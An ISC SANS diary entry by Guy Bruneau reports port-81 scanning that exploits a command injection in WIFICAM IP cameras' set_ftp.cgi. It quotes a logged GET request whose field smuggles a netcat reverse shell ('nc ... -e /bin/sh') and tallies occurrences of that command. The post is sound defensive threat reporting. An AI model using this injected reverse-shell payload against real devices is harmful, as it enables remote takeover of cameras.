Scanning Activity Include Netcat Listener

Published: 2020-08-08
Last Updated: 2020-08-08 23:57:15 UTC
by Guy Bruneau (Version: 1)
0 comment(s)

This activity started on the 5 July 2020 and has been active to this day only scanning against TCP port 81. The GET command is always the same except for the Netcat IP which has changed a few times since it started. If you have a webserver or a honeypot listening on TCP 81, this activity might be contained in your logs. I have included the URL to the IPDetails reported to ISC that shows similar activity from the same source IP address listed in this diary.

This activity appears to be related to the Wireless IP Camera (P2P) WIFICAM against 1250 camera models where a command injection in the set_ftp.cgi script via shell metacharacters in the pwd variable is possible and demonstrated in great details here. If you have one of these camera, the original author "[...] advise to IMMEDIATELY DISCONNECT cameras to the Internet."1

An example of the GET request:

20200705-124822: data 'GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(nc 1245 -e /bin/sh) HTTP/1.1\n\n'

Summary of Netcat Listener

Total           Command
86     nc 1245 -e /bin/sh
85     nc 1245 -e /bin/sh
59     nc 1245 -e /bin/sh
29     nc 1245 -e /bin/sh
14     nc 1245 -e /bin/sh
13     nc 1245 -e /bin/sh
 5     nc 1245 -e /bin/sh
 4     nc 1245 -e /bin/sh
 2     nc 1245 -e /bin/sh
 2     nc 1245 -e /bin/sh

Scanning Activity by Source

Total    Source IP


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 comment(s)


Diary Archives